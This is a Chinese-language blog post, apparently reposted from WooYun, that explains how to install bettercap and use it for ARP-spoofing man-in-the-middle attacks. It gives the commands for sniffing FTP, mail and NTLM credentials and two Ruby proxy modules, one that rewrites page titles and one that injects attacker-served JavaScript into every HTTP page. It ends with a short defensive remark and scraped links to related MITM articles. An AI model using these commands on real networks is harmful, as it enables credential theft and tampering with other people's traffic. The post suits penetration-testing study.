转:中间人攻击利用框架bettercap测试

0x00前言

上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap

0x01简介

bettercap可用来实现各种中间人攻击,模块化,便携、易扩展

0x02特点

提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 原因如下:

1、ettercap很成功,但在新时代下它已经老了 2、ettercap的过滤器复杂,使用门槛高 3、在大型网络下,主机发现功能效果很差 4、优化不够,对研究人员来说,无用的功能太多 5、扩展性不够,开发需要掌握C/C++语言

0x03测试环境搭建

kali linux:

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

如果报错,如图:

执行如下命令:

sudo apt-get install ruby-dev libpcap-dev
sudo gem install bettercap*.gem

最后成功,如图:

0x04参数说明

已做翻译并加入个人理解

用法:

-I, --interface IFACE 指定Network interface name,默认eth0

-S, --spoofer NAME 指定欺骗模块,此参数默认为ARP,目前仅支持ARP,新版本会添加更多选项

-T, --target ADDRESS 指定单一ip,如果未设置,则代表所有子网,子网所有主机自动扫描,简单高效,十分推荐-O, --log LOG_FILE 日志功能

-D, --debug 调试功能,会将每一步操作详细记录,便于调试

-L, --local 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭

-X, --sniffer 开启嗅探器. --sniffer-pcap FILE 将数据包保存为PCAP文件,可用Wireshark打开(此操作会开启嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)

-P, --parsers PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 --no-discovery 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 --no-spoofing 关闭欺骗模块,也可以使用参数--spoofer NONE代替 --proxy 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 --proxy-port PORT 设置HTTP代理端口,此参数默认为8080 --proxy-module MODULE 指定加载的Ruby模块 --httpd 开启HTTP服务器,此参数默认为关闭 --httpd-port PORT 指定HTTP server port, 此参数默认为8081. --httpd-path PATH 指定HTTP server path,此参数默认为 ./.

-h, --help 英文帮助

0x05功能测试

1、HOST DISCOVERY + ARP MAN IN THE MIDDLE

sudo bettercap -X

扫描全部内网主机,傻瓜式操作,自动扫描并进行arp欺骗,使所有流量经过本机,如图

2、CREDENTIALS SNIFFER

抓取流量中有价值的信息,包括:

URLs being visited.
HTTPS host being visited.
HTTP POSTed data.
HTTP Basic and Digest authentications.
FTP credentials.
IRC credentials.
POP, IMAP and SMTP credentials.
NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.

用法举例:

默认傻瓜模式,开启所有功能:

sudo bettercap -X

如图为抓到的163邮箱登陆数据

指定抓取的数据包:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

如图为抓到192.168.40.146的FTP

3、MODULAR TRANSPARENT PROXY

代理功能,可以拦截篡改HTTP流量

用法举例:

开启代理功能:

sudo bettercap --proxy

开启代理功能并指定端口:

sudo bettercap --proxy --proxy-port=8081

关闭arp欺骗,只开启代理

sudo bettercap -S NONE --proxy

开启代理功能并加载指定的Ruby模块

sudo bettercap --proxy --proxy-module=hack_title.rb

Ruby参考示例:

class HackTitle < Proxy::Module
  def on_request( request, response )
    # is it a html page?
    if response.content_type == ‘text/html‘
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( ‘<title>‘, ‘<title> !!! HACKED !!! ‘ )
    end
  end
end

功能为替换所有html的标题选项

4、BUILTIN HTTP SERVER

内置HTTP SERVER功能,可篡改HTTP响应包内容

用法举例:

在网络的每一个HTTP响应中注入JS文件

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

Ruby参考示例:

class InjectJS < Proxy::Module
  def on_request( request, response )
    # is it a html page?
    if response.content_type == ‘text/html‘
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.iface[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( ‘</title>‘, "</title><script src=‘http://#{localaddr}:#{localport}/file.js‘ 

type=‘text/javascript‘></script>" )
    end
  end
end

0x06测试心得

亮点:

中间人攻击利用框架的开发,便携,安装简单 整合了各种常用功能,功能模块化,自动欺骗攻击,提高效率 极大降低了工具的使用和开发门槛

不足:

目前只支持arp欺骗,功能仍需完善。
暂不支持windows

0x07总结

之前我用过c++开发arp欺骗&中间人攻击的程序,个人认为arp欺骗的成功与否关键在于ARP缓存表的修改, 锁定ARP缓存表目前就能防御bettercap基于arp的中间人攻击 但我相信,bettercap的前景十分广阔。

0x08补充

bettercap下载地址:

http://www.bettercap.org/

水平有限,欢迎补充。

注:文章主要转至乌云知识库,其中的内容已经在ubuntu 14.04上测试过,没有问题。如果有疑问,请联系本人

时间: 2024-11-03 21:44:21

转:中间人攻击利用框架bettercap测试的相关文章

中间人攻击——ARP欺骗 就是中间人攻击 利用报文欺骗并修改IP和mac地址之间的映射关系 让传送数据的地址失效

中间人攻击——ARP欺骗的原理.实战及防御 0x01 网关是啥? 网关是工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同 网络之间的连接,网关就好比一个房间通向另一个房间的一扇门. 0x02 ARP协议 ARP(Address Resolution Protocol)地址转换协议,工作在OSI模型的数据链路层,在以太网中,网络设备之间互相通信是用MAC地址而不是IP地址,ARP协议就是用来把IP地址转换为MAC地址的.而RARP和ARP相反,它是反向地址转换协议,把MAC地址转换为I

MITMf:中间人攻击框架 -由中国寒龙整理收集

MITMf:中间人攻击框架 MITMF是一个可用于中间人攻击的框架.这个框架是基于Python的,它拥有数个插件,增加了更多的渗透测试方面的功能.一些实用的插件: jskeylogger – 这个插件可以在目标机器上注入一个 javascript 键盘记录器 JavaPwn – 在客户端利用过时的Java浏览器插件,配合使用Metasploit 安装假的Java更新 FilePwn – 这个插件使用后门工厂掩饰可执行文件,以及通过http发送zip文件 Spoof – 使用ARP欺骗,DNS欺骗

【安全牛学习笔记】SSL、TLS中间人攻击

╋━━━━━━━━━━━━━━━━━╋ ┃SSL中间人攻击                                    ┃ ┃攻击者位于客户端和服务器通信链路中┃ ┃    ARP                                                  ┃ ┃    DHCP                                               ┃ ┃    修改网关                                    

自动化中间人攻击工具subterfuge小实验

Subterfuge是一款用python写的中间人攻击框架,它集成了一个前端和收集了一些著名的可用于中间人攻击的安全工具. Subterfuge主要调用的是sslstrip,sslstrip 是08 年黑帽大会提出的工具,它能突破对SSL的嗅探会进行自动的中间人攻击来拦截通讯的HTTP 流量,然后将流量中所有出现的HTTP 链接全部替换为HTTP,并把这个过程记录下来.接下来使用替换好的 HTTP 与目标机器进行连接,并且与服务器,也就是server 端进行HTTPS ,这样就可以对目标机器与服

ARP欺骗与MITM(中间人攻击)实例

? 主题名称 ARP欺骗与MITM(中间人攻击)实例 ? ? ARP协议(address resolution protocol):地址解析协议 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析协议将IP地址解析成MAC地址.ARP协议的基本功能就是通过目标设备的IP地址,来查询目标设备的mac地址. 在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照关系.AR

HTTPS及HTTPS中间人攻击

全站HTTPS正在称为潮流趋势,国内实现全站https的有淘宝和百度两家 0x01:https的作用 C I A:机密性,完整性,可用性(可用性是合法用户可以访问自己有权限访问的资源) 解决的是信息传输中数据被篡改.窃取 加密:对称.非对称.单向 0x02:https工作原理 https的工作原理还是有必要研究下的(原理我也是从网上学习总结的,感谢这些前辈) 1. 客户端发起HTTPS请求 用户在浏览器里输入一个https网址,然后连接到server的443端口. 2. 服务端的配置 采用HTT

SSH V2的中间人攻击

SSH V2的中间人攻击 2012-12-19 10:48:52     我来说两句      作者:Dis9Team 收藏    我要投稿 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)中间人攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到今天还具有极大的扩展空间. 在网络安全方面,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持.DNS欺骗等技术都是典型的MITM攻击手段.在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM

使用rdpproxy和rdpy对RDP进行中间人攻击的总结

一.总述 本文是想通过分析对RDP协议进行协议还原,在总述这章描述了本次分析后对RDP协议还原的可行性:在第二.三章节描述了RDP协议交互的具体过程:在第四章节描述了使用中间人攻击的方法进行解密的可行性测试:在第五章节列出了本次分析过程中参考的相关资料. 1.分析目的 通过分析能够对使用RDP协议的远程控制工具的操作进行还原,比如:在远程过程中对远程桌面的文件进行传输. 2.分析方法 本文分别使用了两种方法进行分析:1)对远程桌面过程中产生的流量报文进行分析,在分析过程中发现RDP协议在建立连接

解析中间人攻击(3/4)---会话劫持

本文我们将探讨会话劫持的理论以及演示,并讨论相关检测和防御技巧. 导言 在前面两篇文章中我们分别探讨了ARP缓存中毒和DNS欺骗,从前面展示的例子我们可以看到,中间人攻击是非常有效的攻击形式,并且越来越难以被察觉.而在本文中,我们将探讨会话劫持攻击的理论以及演示,并讨论相关检测和防御技巧. 会话劫持 我们经常会听到会话劫持,通常情况下,任何涉及对设备间会话的攻击就是会话劫持,这里所说的会话,指的是存在状态的设备间的连接. 在这篇文章中,我们将从cookie盗窃(涉及HTTP会话)角度来探讨会话劫